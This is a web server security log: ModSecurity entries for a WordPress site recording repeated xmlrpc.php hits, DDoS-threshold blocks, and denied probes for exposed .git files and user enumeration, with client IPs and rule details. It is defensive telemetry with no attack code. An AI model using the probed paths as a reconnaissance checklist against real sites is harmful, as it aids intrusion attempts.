[Thu Apr 16 23:54:27.779721 2026] [:error] [pid 49094:tid 49118] [client 34.69.193.192:64226] [client 34.69.193.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.193.192, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEGMzbDwvcXorHR_Mw3fQAAAVY"]
[Thu Apr 16 23:54:28.952561 2026] [:error] [pid 7880:tid 7899] [client 34.69.193.192:58864] [client 34.69.193.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.69.193.192, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEGNKaezm4fSGc0yULdvgAAAY4"]
[Thu Apr 16 23:54:28.952693 2026] [:error] [pid 7880:tid 7899] [client 34.69.193.192:58864] [client 34.69.193.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.69.193.192, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEGNKaezm4fSGc0yULdvgAAAY4"]
[Thu Apr 16 23:55:35.574396 2026] [:error] [pid 57639:tid 57666] [client 45.130.203.163:21467] [client 45.130.203.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "aeEGd6MCQoTw7TsxWuki6AAAANQ"]
[Thu Apr 16 23:56:14.621281 2026] [:error] [pid 57536:tid 57555] [client 165.22.37.239:48906] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEGniQU4faGja6jpDvCDQAAAAc"]
[Fri Apr 17 00:01:27.433733 2026] [:error] [pid 49094:tid 49112] [client 143.244.166.58:34086] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEH1zbDwvcXorHR_Mw6tAAAAVA"]
[Fri Apr 17 00:04:21.200074 2026] [:error] [pid 43387:tid 43460] [client 52.206.118.176:60748] [client 52.206.118.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.206.118.176, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEIhSBNsONqHxWTakUYdAAAAIk"]
[Fri Apr 17 00:04:51.197108 2026] [:error] [pid 43482:tid 43499] [client 51.38.230.115:59954] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEIoz9SZnuKxlHrct1jtgAAAM8"]
[Fri Apr 17 00:05:39.646688 2026] [:error] [pid 43385:tid 43412] [client 66.179.191.163:57894] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEI08nIxkJaUI8KNs7nlgAAABY"]
[Fri Apr 17 00:05:51.342463 2026] [:error] [pid 43482:tid 43491] [client 103.57.222.160:54436] [client 103.57.222.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.57.222.160, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEI3z9SZnuKxlHrct1kxAAAAMc"]
[Fri Apr 17 00:07:16.319529 2026] [:error] [pid 43386:tid 43445] [client 212.47.74.48:44564] [client 212.47.74.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.47.74.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEJNO91GAVgUfhPVDGimwAAAFg"]
[Fri Apr 17 00:12:37.040884 2026] [:error] [pid 43386:tid 43434] [client 107.180.252.236:39072] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEKde91GAVgUfhPVDGlkwAAAE4"]
[Fri Apr 17 00:13:09.442801 2026] [:error] [pid 43482:tid 43487] [client 164.132.207.73:54108] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEKlT9SZnuKxlHrct1rlgAAAMM"]
[Fri Apr 17 00:14:42.359082 2026] [:error] [pid 43385:tid 43390] [client 137.184.91.139:54130] [client 137.184.91.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.91.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEK8snIxkJaUI8KNs7rSwAAAAE"]
[Fri Apr 17 00:15:53.426279 2026] [:error] [pid 43386:tid 43439] [client 103.153.2.10:35784] [client 103.153.2.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.2.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeELOe91GAVgUfhPVDGoIgAAAFM"]
[Fri Apr 17 00:17:08.012780 2026] [:error] [pid 3245:tid 3264] [client 138.197.98.9:36392] [client 138.197.98.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.98.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeELhKESOMTHVLs-uFCsFwAAAQI"]
[Fri Apr 17 00:22:24.713716 2026] [:error] [pid 43482:tid 43486] [client 180.181.244.244:34364] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEMwD9SZnuKxlHrct10SgAAAMI"]
[Fri Apr 17 00:25:12.991053 2026] [:error] [pid 43482:tid 43492] [client 91.245.210.195:54480] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeENaD9SZnuKxlHrct12wQAAAMg"]
[Fri Apr 17 00:25:16.624540 2026] [:error] [pid 43387:tid 43454] [client 172.238.64.140:55638] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.238.64.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeENbCBNsONqHxWTakUnJwAAAIQ"]
[Fri Apr 17 00:28:08.229230 2026] [:error] [pid 43386:tid 43439] [client 185.252.234.215:58504] [client 185.252.234.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.252.234.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEOGO91GAVgUfhPVDGufQAAAFM"]
[Fri Apr 17 00:29:07.156025 2026] [:error] [pid 43386:tid 43442] [client 192.206.141.63:50008] [client 192.206.141.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.206.141.63, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEOU-91GAVgUfhPVDGvDQAAAFU"]
[Fri Apr 17 00:29:23.354106 2026] [:error] [pid 3245:tid 3264] [client 82.223.33.117:52798] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEOY6ESOMTHVLs-uFC5LQAAAQI"]
[Fri Apr 17 00:30:36.412182 2026] [:error] [pid 3245:tid 3283] [client 5.9.109.189:41454] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEOrKESOMTHVLs-uFC6GgAAARU"]
[Fri Apr 17 00:30:55.575025 2026] [:error] [pid 43385:tid 43406] [client 178.18.249.91:49194] [client 178.18.249.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.249.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEOv8nIxkJaUI8KNs7x5gAAABE"]
[Fri Apr 17 00:31:10.287814 2026] [:error] [pid 43482:tid 43484] [client 46.105.230.99:45209] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEOzj9SZnuKxlHrct16kwAAAMA"]
[Fri Apr 17 00:31:50.037779 2026] [:error] [pid 3245:tid 3267] [client 109.176.198.138:52898] [client 109.176.198.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.176.198.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEO9qESOMTHVLs-uFC6xQAAAQU"]
[Fri Apr 17 00:33:14.204115 2026] [:error] [pid 3245:tid 3269] [client 85.128.143.130:35702] [client 85.128.143.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEPSqESOMTHVLs-uFC75AAAAQc"]
[Fri Apr 17 00:37:13.937140 2026] [:error] [pid 43385:tid 43404] [client 95.173.103.120:39516] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEQOcnIxkJaUI8KNs7zfQAAAA8"]
[Fri Apr 17 00:38:30.528655 2026] [:error] [pid 43387:tid 43472] [client 34.24.89.122:43076] [client 34.24.89.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aeEQhiBNsONqHxWTakUtbQAAAJM"]
[Fri Apr 17 00:41:46.060519 2026] [:error] [pid 43387:tid 43465] [client 35.229.37.206:54678] [client 35.229.37.206] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeERSiBNsONqHxWTakUuxgAAAIw"]
[Fri Apr 17 00:41:47.264794 2026] [:error] [pid 43387:tid 43475] [client 35.229.37.206:54678] [client 35.229.37.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.37.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeERSyBNsONqHxWTakUuywAAAJY"]
[Fri Apr 17 00:41:48.458597 2026] [:error] [pid 43482:tid 43504] [client 35.229.37.206:50722] [client 35.229.37.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.37.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeERTD9SZnuKxlHrct2BBgAAANQ"]
[Fri Apr 17 00:41:49.662427 2026] [:error] [pid 43386:tid 43424] [client 35.229.37.206:60599] [client 35.229.37.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.37.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeERTe91GAVgUfhPVDGzDwAAAEQ"]
[Fri Apr 17 00:41:50.873577 2026] [:error] [pid 43385:tid 43391] [client 35.229.37.206:56393] [client 35.229.37.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.37.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeERTsnIxkJaUI8KNs71hAAAAAI"]
[Fri Apr 17 00:41:52.059777 2026] [:error] [pid 43387:tid 43476] [client 35.229.37.206:61866] [client 35.229.37.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.37.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeERUCBNsONqHxWTakUu0QAAAJc"]
[Fri Apr 17 00:41:53.330993 2026] [:error] [pid 43482:tid 43484] [client 35.229.37.206:55986] [client 35.229.37.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.229.37.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeERUT9SZnuKxlHrct2BDAAAAMA"]
[Fri Apr 17 00:41:53.331137 2026] [:error] [pid 43482:tid 43484] [client 35.229.37.206:55986] [client 35.229.37.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.229.37.206, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeERUT9SZnuKxlHrct2BDAAAAMA"]
[Fri Apr 17 00:45:28.383578 2026] [:error] [pid 4086:tid 4089] [client 66.42.61.4:36034] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.42.61.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeESKFlz7gxl_exM0Fo2JgAAAUE"]
[Fri Apr 17 00:47:16.284787 2026] [:error] [pid 4086:tid 4089] [client 35.201.138.245:47449] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeESlFlz7gxl_exM0Fo3JAAAAUE"]
[Fri Apr 17 00:54:44.642597 2026] [:error] [pid 43385:tid 43394] [client 148.113.209.194:57894] [client 148.113.209.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.209.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEUVMnIxkJaUI8KNs75YwAAAAU"]
[Fri Apr 17 00:55:05.031627 2026] [:error] [pid 43387:tid 43469] [client 147.45.149.57:47400] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEUaSBNsONqHxWTakUyUQAAAJA"]
[Fri Apr 17 00:55:19.677438 2026] [:error] [pid 43482:tid 43484] [client 63.131.146.5:42024] [client 63.131.146.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 63.131.146.5, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEUdz9SZnuKxlHrct2FnwAAAMA"]
[Fri Apr 17 00:58:48.254912 2026] [:error] [pid 43385:tid 43408] [client 137.184.69.218:42754] [client 137.184.69.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.69.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEVSMnIxkJaUI8KNs77JQAAABM"]
[Fri Apr 17 00:59:20.188206 2026] [:error] [pid 3245:tid 3281] [client 59.125.102.142:47594] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEVaKESOMTHVLs-uFDIjgAAARM"]
[Fri Apr 17 01:00:41.299180 2026] [:error] [pid 26102:tid 26121] [client 155.133.132.65:52531] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEVuf127aFqw6ALdngHOQAAAZA"]
[Fri Apr 17 01:00:53.266538 2026] [:error] [pid 43385:tid 43389] [client 202.157.175.19:55028] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEVxcnIxkJaUI8KNs78twAAAAA"]
[Fri Apr 17 01:01:10.784690 2026] [:error] [pid 3245:tid 3275] [client 79.116.52.1:45452] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.116.52.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEV1qESOMTHVLs-uFDJjgAAAQ0"]
[Fri Apr 17 01:12:37.655611 2026] [:error] [pid 43482:tid 43484] [client 212.55.193.47:48594] [client 212.55.193.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.55.193.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEYhT9SZnuKxlHrct2WZwAAAMA"]
[Fri Apr 17 01:13:39.937434 2026] [:error] [pid 43387:tid 43468] [client 83.96.201.169:43418] [client 83.96.201.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.96.201.169, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEYwyBNsONqHxWTakU5JQAAAI8"]
[Fri Apr 17 01:15:58.509668 2026] [:error] [pid 26480:tid 26505] [client 152.42.226.162:33330] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEZTgwLDJKTQNfarA1tsQAAAdc"]
[Fri Apr 17 01:18:11.931380 2026] [:error] [pid 43482:tid 43499] [client 80.82.219.138:47566] [client 80.82.219.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.82.219.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEZ0z9SZnuKxlHrct2aqgAAAM8"]
[Fri Apr 17 01:20:53.048346 2026] [:error] [pid 26480:tid 26493] [client 147.182.250.143:59344] [client 147.182.250.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.250.143, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEadQwLDJKTQNfarA1zZwAAAcs"]
[Fri Apr 17 01:26:03.225236 2026] [:error] [pid 43385:tid 43395] [client 38.113.191.66:51846] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEbq8nIxkJaUI8KNs4dFQAAAAY"]
[Fri Apr 17 01:31:04.383009 2026] [:error] [pid 11692:tid 11697] [client 192.250.239.237:52106] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.239.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEc2M1AYuhm4BZwKNobBgAAAgA"]
[Fri Apr 17 01:33:23.199025 2026] [:error] [pid 43482:tid 43499] [client 54.36.181.89:42062] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEdYz9SZnuKxlHrct2jgAAAAM8"]
[Fri Apr 17 01:33:45.950552 2026] [:error] [pid 11692:tid 11716] [client 157.90.158.130:37968] [client 157.90.158.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.158.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEdec1AYuhm4BZwKNoblgAAAhM"]
[Fri Apr 17 01:34:45.744426 2026] [:error] [pid 43386:tid 43429] [client 38.113.191.66:33730] [client 38.113.191.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 38.113.191.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeEdte91GAVgUfhPVDHKkwAAAEk"]
